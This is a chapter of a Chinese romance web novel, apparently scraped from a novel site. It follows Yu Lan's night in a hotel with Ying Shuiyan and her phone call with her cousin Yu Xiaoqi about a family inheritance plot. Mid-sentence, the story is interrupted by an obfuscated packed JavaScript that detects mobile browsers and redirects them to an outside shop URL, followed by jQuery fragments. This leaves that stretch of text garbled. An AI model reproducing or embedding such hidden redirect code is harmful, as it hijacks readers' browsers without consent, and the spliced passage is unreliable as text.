51. 代价

作品:《欲罢不能的他

    如果能回到一小时之前,於蓝绝不会只定一张大床房。


    甚至她几度站在房门口,手机就在掌心,但她一个电话都没打出去。


    明明对她来说,这并不是什么难事。


    浴室的水声霎时停下,应水砚的声音再一次传来,这一次,依然带着极大的委屈。


    应水砚说:“你要走了吗?”


    於蓝没回他,她叹了口气,抿紧唇线,看向浴室的眼睛里有一丝无奈。


    她知道,她说不出拒绝的话。


    这个拒绝和应火砚不同,是於蓝内心里实打实地、实打实地说不出来。


    千言万语只汇成一句话。


    ……她想留下。


    从这一刻起,她就知道她栽了。


    可心是栽了,她人还倚在门旁,手还握着门把手,於蓝嘲弄地问他:“你能有什么事呢?”


    这话不仅是问他,也是问了自己。


    可那头的应水砚哪能知道於蓝的心思,他顿时失了与她辩驳的气焰,花洒一开,水如云雾般向他涌来,翻山倒海的思绪将於蓝那一句微弱的话语一同淹没。


    “我不想走。”她说。


    可应水砚没听见。


    於蓝要的睡衣也到了。应水砚出来后,於蓝直接进去,不留余地。


    所以当於蓝从里面出来,正好与床上玩手机的应水砚对视一眼时,他眼中一闪而过的惊喜是藏都藏着不住的。


    那扑扇扑扇的眼睛,言下之意就是,你不走啦?


    你真的不走啦?


    於蓝捂着嘴,忍不住笑出来。


    应水砚自然注意到了这一幕,但他不想让自己的语气显得太过明显。


    于是他僵硬地开口了:“明天,你有什么事吗?”


    於蓝想了想,确实是有的,可这件事情,她想要应水砚和她一起做。


    于是她点头:“有。”


    应水砚又不说话了。


    於蓝躺在应水砚的身边,盖上被子,应水砚悄悄地把被子挪过去一点,於蓝背对着他,似乎是没注意到。


    应水砚愿意给,於蓝就收着。


    但他已经沉浸在这样的快感之中,他已经说不清这到底是兴奋还是泄愤,等他反应过来的时候,手边的被子几乎都给了她。


    於蓝抓着一点被子,对刚转过身的应水砚说:“不用再给了。”


    “给什么?”应水砚装听不懂。


    於蓝起身,越过应水砚去关他床头的那盏台灯,灯刹那熄灭。


    好奇怪,应水砚眼睛都直了,她的眼睛里明明没有光,他却觉得此刻,於蓝的眼睛比天上的星星都还要明亮。


    “你说呢?”一抹淡淡的笑容挂在她的唇角,“明知故问。”


    於蓝来不及收回全部的身子,于是半压在应水砚的身前,她几乎靠在应水砚的鼻梁上。


    应水砚:“……你。”


    於蓝瞬间反应过来:“我……抱歉。”


    过近的距离也让她瞬间清醒,她下意识撑起,却让应水砚捂着胸口吃痛一声。


    “……”


    於蓝便躺回原地不动了。


    下一秒,於蓝手腕一紧,她扭头一看,应水砚抓着她的手腕。


    应水砚眨巴着眼睛,似乎是懂,或者不懂。


    他的被子给了太多於蓝,就导致此刻她甚至是裹着被子和他说话的。


    於蓝问他:“你不需要吗?”她补了一句,“被子。”


    “我只是觉得你更需要。”


    霎那间,雪白的被子劈头盖脸地朝应水砚的方向飞了过去,於蓝说:“我不用。”


    是恼羞成怒。


    但应水砚没感觉出来。


    他只觉得,於蓝这下,是真的生气了。


    *


    一夜无话,两人便同床异梦度过了一晚。


    醒来后,於蓝下意识去看了床头另一个人。没有。


    不仅是那盏彻夜晦暗的床头灯,连带着枕头,也已经没有温度了。


    於蓝咽下一口气,一个想法瞬间在她脑子里形成,


    应水砚,已经离开很久了。


    她翻开手机,应水砚果真给她留了一条信息。


    【先走了,有点事情。】


    於蓝冷笑,不知道昨天是谁问的她有没有事,结果她还没走,自己倒溜得飞快。


    酒店房间里只剩下了她一个人,她喊了一声,空荡的房间里,果然没有人回复。


    於蓝想不清楚这到底是落寞……还是其他什么东西,可原先不管是在家里还是在公司,她从来都是一个人的。


    或许应火砚的存在曾经短暂改变了这一现状,可是不管怎样,应水砚是应水砚,应火砚又是应火砚,这是怎么样都改变不了的事实。


    既然如此,这和应水砚又有什么关系。


    ……於蓝的脑子彻底乱了。


    她干脆不想了,让自己脑子放空一阵。一声电话打断了她的思路,於蓝接电话之前,看了一眼联系人,是於小琪。


    於蓝有些震惊,於小琪在这个时候给她打电话,是什么事情?


    上次再见,还是她爸爸的葬礼。她爸临走前交代的那一句话,也彻底成了於蓝的梦魇。


    她有很多事情没有忙完,以及,还没有跟於小琪说那件事情。


    於小琪接通电话,开诚布公地说道:“於蓝姐,我知道了关于你妈妈的事情。”


    於蓝一愣,於小琪继续说道:“我想帮你。”


    “这件事情,你能帮我的很少。”


    於小琪却很不理解,她说:“为什么?明明你也应该从我爸那里知道,这件事情就是於天逸他爸爸干的。为什么不能去找外婆揭穿他们?”


    於蓝捏了捏山根,她之前不想去找於小琪,就说因为这样。很多事情,她不想挑得太明。


    一旦挑得太明,事情就根本没有转圜的余地了。可不管是应水砚还是应火砚,似乎总是想要弄清她心里的那一份真心。


    感情这种东西,讲的就是心,如果心不清楚,於蓝又哪能说得清楚?可她就是不清楚。


    於蓝舔了舔唇,在於小琪这里,逐渐找到了自己的声音:“那我想问你一件事情,小琪。”


    “於蓝姐,你说。”


    於蓝说:“从小到大,虽然你和你爸爸主动表明不参与於家的继承人一事是真的,但你扪心自问,你在於家收到的排挤是真的吗?於家那些人,是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17134460|190551||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怎么看待你的?”


    於小琪:“……”


    於蓝说:“你不说话,我就当你是默认了。好,我再说。在外婆眼里,你可以永远天真烂漫,她也肯定这么对你说过,她最信任的人,是你。”


    “至于别人,包括我,都是争夺於家财产的局内人。只有你,永远不在局内,也可以永远当外婆最好的一把刀。”


    “所以,在应家家宴的那一次,於家那通电话,是你打来的。”於蓝勾唇冷笑:“我说的对吗?於小琪。”


    於蓝一口气说完,对面那头早已哑口无言。她向来是个不留情面的人,只是给的脸多了,总有人以为她是个讲人情的。


    但她不是。


    毕竟,这件事情她早就已经想到了、猜透了、没滋味了,是於小琪非要往枪口上撞。


    於蓝听到电话那头传开一声叹息,紧接着是於小琪有些释然的声音,“於蓝姐,果然什么都瞒不过你。”


    “我以前认为,当不了继承人没关系,只要我还能呆在外婆身边,只要我能听话,我和我爸爸就能什么事情都没有。”於小琪哈了声,“原来不行。”


    “原来就算什么事情都没干,也会出事的。”


    於蓝这段话,是真心实意的:“我进於家的头一个星期,我就被摸了个底朝天。我新学校的老师和同学,没有一个人是可以信任的,回到家,连口热菜都吃不了。”


    “外婆告诉我,只要我能当上於家的继承人,我就可以吃饱饭了。”


    於小琪的声音听起来有些好奇:“然后呢?”


    “我答应了。”於蓝说,“这不是什么难以抉择的事情。更何况从那以后,饭桌上每天都有我喜欢吃的菜,你没忘,对吗?”


    於小琪:“……”


    电话那头陷入了长久的沉默。


    也是时候了。


    於蓝扣了扣电话,人也从床上爬了起来,她移步到卫生间,在洗漱台看见自己这样有些憔悴的面孔。


    卫生间的回声将她的声音也带给了自己:“你非要我说得再明白一点吗?”


    “如果不是外婆的授意,你真的以为於天逸能当上於家的继承人吗?”


    於小琪:“……怎么可能,是,奶奶。怎么可能,我,我不……”


    於蓝叹了声气,对听筒那边说了一句话。


    “……………”


    於蓝说完了,也差不多觉得於小琪已经缓了过来,她说:“本来有件事情,我是想和应水砚一起做的。但是现在,我想把她交给你。”


    “你说吧於蓝姐,我一定会好好做的,你相信我。”


    於蓝:“我当然相信你。如果不是相信你,我怎么会跟你说这么多?”


    这家伙,怎么也是个明知故问的主?


    最后交代完,於蓝挂断电话,把手机放在洗漱台旁边,洗了个脸。


    看着镜子前自己这张脸,於蓝忽然觉得有点陌生。她有点不认识了。


    有些事情,一旦变成执念,或者牵扯太深,总归是不好的。


    比如她,比如外婆,比如应水砚。


    只是有时候,她太想太想,知道真相了。


    所以,也得承受知道真相的代价。